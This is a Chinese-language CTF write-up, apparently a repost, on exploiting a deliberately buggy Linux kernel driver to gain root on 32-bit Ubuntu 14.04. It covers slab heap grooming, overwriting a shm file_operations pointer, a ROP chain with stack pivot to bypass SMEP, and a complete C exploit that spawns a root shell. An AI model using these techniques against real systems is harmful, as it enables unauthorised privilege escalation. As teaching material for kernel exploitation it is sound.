初識linux內核漏洞利用


0x00 簡介


之前只接觸過應用層的漏洞利用, 這次第一次接觸到內核層次的,小結一下。

0x01 概況


這次接觸到的,是吾愛破解挑戰賽里的一個題,給了一個有問題的驅動程序,要求在ubuntu 14.04 32位系統環境下提權。驅動實現了write函數,但是write可以寫0x5a0000000個字節。然后還實現了一個ioctl,這里有任意地址寫的問題(但是這個分析里沒用到)。還有一個read函數,這個可以讀取堆上的數據。驅動的代碼可以在這里下載到:http://www.52pojie.cn/thread-480792-1-1.html

 

static ssize_t mem_write(struct file *filp, const char __user *buf, size_t size, loff_t *ppos)
{
    unsigned long p =  *ppos;
    unsigned int count = size;
    int ret = 0;
    struct mem_dev *dev = filp->private_data;

    if((dev->size >> 24 & 0xff) != 0x5a) 
    //dev->size == 0x5aXXXXXX
        return -EFAULT;

    if (p > dev->size)
        return -ENOMEM;

    if (count > dev->size - p)
        count = dev->size - p;

    if (copy_from_user((void *)(dev->data + p), buf, count)) {
        ret =  -EFAULT;
    } else {
        *ppos += count;
        ret = count;
    }

    return ret;
}

static long mem_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    struct mem_init data;
    if(!arg)
        return -EINVAL;
    if(copy_from_user(&data, (void *)arg, sizeof(data))) {
        return -EFAULT;
    }
    if(data.len <= 0 || data.len >= 0x1000000)
        return -EINVAL;
    if(data.idx < 0)
        return -EINVAL;
    switch(cmd) {
        case 0:
            mem_devp[data.idx].size = 0x5a000000 | (data.len & 0xffffff);
            mem_devp[data.idx].data = kmalloc(data.len, GFP_KERNEL);
            printk(KERN_DEBUG "heap:%p\n",mem_devp[data.idx].data);
            if(!mem_devp[data.idx].data) {
                return -ENOMEM;
            }
            memset(mem_devp[data.idx].data, 0, data.len);
            break;
        default:
            return -EINVAL;
    }

    return 0;
}

static ssize_t mem_read(struct file *filp, char __user *buf, size_t size, loff_t *ppos)
{
    unsigned long p =  *ppos;
    unsigned int count = size;
    int ret = 0;
    struct mem_dev *dev = filp->private_data;

    if((dev->size >> 24 & 0xff) != 0x5a)
        return -EFAULT;

    if (p > dev->size)
        return -ENOMEM;

    if (count > dev->size - p)
        count = dev->size - p;

    if (copy_to_user(buf, (void*)(dev->data + p), count)) {
        ret =  -EFAULT;
    } else {
        *ppos += count;
        ret = count;
    }

    return ret;
}

write里的dev->data是通過調用ioctl后kmalloc出來的,kmalloc的size可以自行指定。於是通過這個write,可以寫內核堆,甚至寫到內核棧里。我用的方法是覆蓋內核某個堆結構,改掉其上的某個指針,最好是某個函數指針,或者函數表指針。具體的是shmid_kernel結構的file指針,里面存有shm_ops,這是shm的函數表,里面有shm_mmap,而這個函數可以在用戶態通過shmat調用到。shmid_kernel這個結構體,則會通過在系統調用shmget時,被kmalloc。在我操作的機器上(32位):

 

shmid_kernel分配時的大小是64+92 = 156:

 

struct shmid_kernel //結構體大小為92bytes
{   
    struct kern_ipc_perm    shm_perm;
    struct file     *shm_file;
    unsigned long       shm_nattch;
    unsigned long       shm_segsz;
    time_t          shm_atim;
    time_t          shm_dtim;
    time_t          shm_ctim;
    pid_t           shm_cprid;
    pid_t           shm_lprid;
    struct user_struct  *mlock_user;
    struct task_struct  *shm_creator;
    struct list_head    shm_clist;  
};

0x02 覆蓋前的堆排布


要保證能覆蓋到特定的結構,首先是要保證,申請到的內存是相鄰的。內核里kmalloc是slab的分配機制。一次至少會分配一個頁面,然后把這個頁面分為很多個連續的塊,這些塊的信息,可以通過cat /proc/slabinfo看到:

 

分配的時候,是向上對齊的。比如,如果kmalloc的size滿足區間(128,192],那么就會給它分配一個192大小的塊。如果有空閑的塊,則把空閑的塊分配出去。只有當所有分配的slab里的塊,都被占用了,才會去分配新的slab(里面有很多相鄰內存的大小相同的塊)。比如說需要一個192的塊,而已經分配的192的slab里沒有空閑的,就會分配一個頁面的內存,里面分成4096/192 = 21個192bytes的塊,然后拿出第一塊分配出去,再申請,則拿出第二塊,以此類推。

//slab的圖

所以,如果我們想要得到兩個相鄰的塊。有這么幾點要求:

  • 申請的兩個塊的大小是處於同一區間的(這里假設都是申請192的塊)
  • 申請之前得消耗掉所有空閑的大小為192的塊
  • 兩個塊要連續申請。也就是申請第一個塊之后要馬上申請第二個。

所以,在這里來說,我們想要通過write,來覆蓋掉下一個堆塊,即我們的目標堆塊shmid_kernel (占用一個192的slab塊),要這么做:

  • 不斷調用ioctl(fd,0,&arg),並設置arg.idx = 192,來消耗掉空閑的192大小的slab塊。
  • 馬上調用shmget(IPC_PRIVATE,1024,IPC_CREAT | 0666)來申請一塊192的空間。這時,這個塊有20/21的概率,我們最后一次ioctl得到的塊,是相鄰的。

    arg.idx = 0;
    arg.len = 192;
    for(i=0;i<1000;i++)
        ioctl(fd,0,&arg);
    shmid = shmget(IPC_PRIVATE,1024,IPC_CREAT | 0666);
    arg.idx = 1;
    ioctl(fd,0,&arg);
    

這之后再用write來進行覆蓋,就能達到我們的目的。

0x03 overflow shmid_kernel


為了確保我們的堆排布好了,我給這個有漏洞的驅動,patch了一行代碼,使得能夠把每次kmalloc的地址打印出來:

 

而且在exp里,調用shmget之后,再一次調用ioctl來kmalloc一個192的塊。那么得到的dmesg:

 

最后兩次 ioctl,中間相隔了2個0xC0的大小,其中一個應該是shmid_kernel。那么還有一個是什么?通過調用驅動的read,讀取這段堆上的內存,我發現:還有一個是shmid_kernel結構的shm_file,排布是這樣的:

addr type
0xc04e43c0 dev[0]->data
0xc04e4480 shmid_kernel
0xc04e4540 shmid_file
0xc04e4600 dev1->data

 

最開始的計划,是覆蓋shmid_kernel結構的shmid_file指針(shmid_kernel+0x6c),但是現在發現可以直接覆蓋shmid_file的fop(shmid_file+0x14),這是指向其file_operations的指針。我們只要把這個指針覆蓋,就能偽造file_operations,於是偽造一個file_operations,在偏移0x40處,指定0x41414141。其余的內容,由於我們可以通過read讀取堆內容,所以write的時候,直接復制過去,改別的。 但是如果沒有read,我們也可以自己偽造一個shmid_kernel,當然肯定會麻煩一些。因為有一些檢查是要繞過的。

read(fd[2],readbuf,oversize); //由於llseek的限制,fd [0,1,2]做一個區分
memcpy(buf,readbuf,oversize);
map = mmap((void *)0x5a000000,0x1000,PROT_WRITE|PROT_READ | PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
memcpy(map,41,0x100);
struct file **shm_file;
shm_file = (struct file **)(buf+0x194);
*shm_file = (void *)0x5a000000;  

//fack_fop == 0x5a000000;
//fack_fop_mmap == 0x41414141;

write(fd[0],buf,oversize);
ret = shmat(shmid,NULL,0);

那么,調用shmat的時候,最終會調用:
shmid_kernel->shm_file->fop->mmap(...)。這個時候,我們就能得到內核的控制流。

 

0x04 SMEP


得到控制流后,最開始我是這么想的:

將控制流轉移到用戶態的代碼里來,進行提權,代碼可以是這樣子:

int __attribute__((regparm(3))) 
kernel_code(struct file *file, void *vma)
{
    commit_creds(prepare_kernel_cred(0));
    return -1;
}

但是,這樣只能針對沒有開啟SMEP(Supervisor Mode Execution Protection Enable)的情況。

什么是SMEP?簡單來說,就是禁止內核執行用戶控件的代碼。它存在於CR4寄存器的第20 bit。

 

在安卓上,也叫PXN。因為傳統的內核提權漏洞利用,得到控制流之后,直接跳轉到用戶空間執行提權代碼,實在是太輕松,所以就加了這么一個緩解機制。

由於系統開了SMEP,這樣就只能在內核找ROP來拼湊提權代碼了。

0x05 ROP & 棧移植


構造ROP來調用

commit_creds(prepare_kernel_cred(0);

通過cat /proc/kallsyms得到符號表之后,可以定位prepare_kernel_cred和commit_creds的地址:

  • C1082B60 T commit_creds
  • C1082E20 T prepare_kernel_cred

只有prepare_kernel_cred(0)需要一個參數,傳進去。看了下prepare_kernel_cred函數的匯編,這個參數用eax傳遞。所以需要一條

pop eax
ret

或者是

xor eax,eax
ret

prepare_kernel_cred的返回值,會直接傳給commit_creds,並不用在rop鏈里構造。那么初步的應該是這樣子:

instruction addr
pop eax;ret; 0xc1431272
   
perpare_kernel_creds; 0xc1082e20
commit_cred; 0xc1082b60

問題來了:

rop鏈,首先要寫到棧里面去,問題是如何寫。

 

最后獲得控制流之前,eax 是內核堆上的地址,是shmid_kerneld的shm_file,里面的內容我們可以控制。ecx是偽造的fop表地址,我們可以完全控制。不好往棧里頭寫數據,不妨把棧給移植到能控制的地方來。

於是我第一次找的 xchg ecx,esp這樣的指令。但是一執行,系統就崩了。具體原因,本人猜測應該是內核棧esp不能指向用戶空間。具體什么原因,也沒深究。

所以第二次,我找的xchg eax,esp;ret 0x100這樣的指令。因為eax是shmid_file,還在內核空間,而其后面的數據都可以通過write控制,也就相當於能控制棧。還不用改寫shmid_file,只用在shmid_file頭4個字節寫上pop eax;ret;的地址,xchg之后的ret能順利執行就OK了。

memcpy(buf+0x180,rop,4);
//rop[0] = 0xc1431272 ;
//pop eax 
//ret

0x06 內核態返回


最后一個問題,內核態如何返回用戶態。

因為我們移植了內核棧,而內核態返回用戶態的時候,需要從內核棧里頭,彈出cs,eip,eflag,ss,esp等信息。當然,我們可以自己構造虛假的。但是內核棧里頭有很多結構體,特別是提取時候要用到的task結構體,就在內核棧開始的地方。我沒有試過構造虛假的內核棧,因為感覺太繁瑣,而且也不知道可不可行。

於是我采取的是另外一種思路:

把移植過來的棧,又移植回去。

所以,我需要一個寄存器,來保存被移植前的esp。而prepare_kernel_cred() 和 commit_creds()。會對esi,edi,ebx三個寄存器進行保護:

 

我選擇其中的esi來保存原始內核棧esp。那么rop鏈就變成了這樣子:

instruction addr  
xchg eax,esp;ret 0xc1020eb1 覆蓋到shm_mmap的指針
xchg eax,esi;ret 0xc1071395 覆蓋shm_file的前四個字節
pop eax;ret; 0xc1431272 fack_stask
    fack_stask
perpare_kernel_creds; 0xc1082e20 fack_stask
commit_cred; 0xc1082b60 fack_stask
xchg eax,esi;ret 0xc1071395 fack_stask
xchg eax,esp;ret 0xc1020eb1 fack_stask

0x07 get root shell


最后,我們再用戶態,調用:

setresuid(0, 0, 0);
setresgid(0, 0, 0);
execl("/bin/bash","/bin/bash",NULL);

整個提權利用,就完成了。

 

0x08 exp

有很多的內核漏洞文章,講了很多的內核漏洞利用技術:

修改ptmx->fop,修改addr_limit,修改task結構,修改中斷描述符,將SMEP位反位等等,都博大精深。學習的路還很長很長。下面是這次提權的代碼:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/stat.h>

#define oversize 0x400
struct mem_init {
    unsigned int idx;
    unsigned int len;
};

int prepare_kernel_creds = 0xc1082e20;
int commit_creds = 0xc1082b60; 

int main(){
    int fd[3],ret,i;
    int shmid;
    int *map;
    void *buf,*readbuf;
    struct mem_init arg;
    fd[0] = open("/dev/memdev0",O_RDWR);
    fd[1] = open("/dev/memdev1",O_RDWR);
    fd[2] = open("/dev/memdev2",O_RDWR);
    for(i=0;i<3;i++)
        if(fd[i] < 0){
            printf("[-]open driver failed!\n");
            return 0;
        }
    printf("[+]open driver success\n");

    //prepare heap
    arg.idx = 0;
    arg.len = 92+0x40;
    for(i=0;i<1000;i++){
        ioctl(fd[0],0,&arg);
    }
    arg.idx = 1;
    ioctl(fd[1],0,&arg);
    arg.idx = 2;
    ioctl(fd[2],0,&arg);

    buf = malloc(oversize);
    readbuf = malloc(oversize);

    shmid = shmget(IPC_PRIVATE, 1024, IPC_CREAT | 0666);
    printf("%d\n",shmid);
    arg.idx = 3;
    ioctl(fd[0],0,&arg);
    printf("[+] heap prepare OK!\n");


    read(fd[2],readbuf,oversize); //read heap data
    memcpy(buf,readbuf,oversize); 


    read(fd[0],readbuf,192*2); //set llseek point

    map = mmap((void *)0x5a000000,0x1000,PROT_WRITE|PROT_READ | PROT_EXEC, 
MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
    int **shm_file;
    shm_file = (int **)(buf+0x194); //fack fop
    *shm_file = (void *)0x5a000000;


    int rop[11];
    rop[0] = 0xc1071395; //xchg eax,esi;ret
    rop[1] = 0xc1431272; //pop eax;ret
    rop[2] = 0; //eax
    rop[3] = prepare_kernel_creds;
    rop[4] = commit_creds;
    rop[5] = 0xc1071395; //xchg eax,esi;ret
    rop[6] = 0xc1020eb1; //xchg eax,esp;ret
    rop[7] = 0;
    rop[8] = 0;
    rop[9] = 0;
    rop[10] = 0xc1380373; //xchg eax,esp;ret 0x100

    //  xchg eax,esp;ret
    //  xchg eax,esi;ret  ;
    //  pop eax;ret;  0xc1431272
    //  perpare_kernel_creds
    //  commit_cred
    //  xchg eax,esi;ret
    //  xchg eax,esp;ret

    memcpy(map,rop,4*30);  //map is fack fop

    memcpy(buf+0x180,rop,4); //after xchg eax,esp . ret
    memcpy(buf+0x280,rop,4*30);//fack  stack
    write(fd[0],buf,oversize);

    printf("[+] heap write done\n");
    printf("[+] read to triggle shellcode\n");  

    ret = (int)shmat(shmid,NULL,0); //triggle

    if(ret!=0)
        printf("[+] OK,ready to get root!\n   press any key\n");
    getchar();
    setresuid(0, 0, 0);
    setresgid(0, 0, 0);
    execl("/bin/bash","/bin/bash",NULL);
    return 0;
}

0x09 參考鏈接



免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM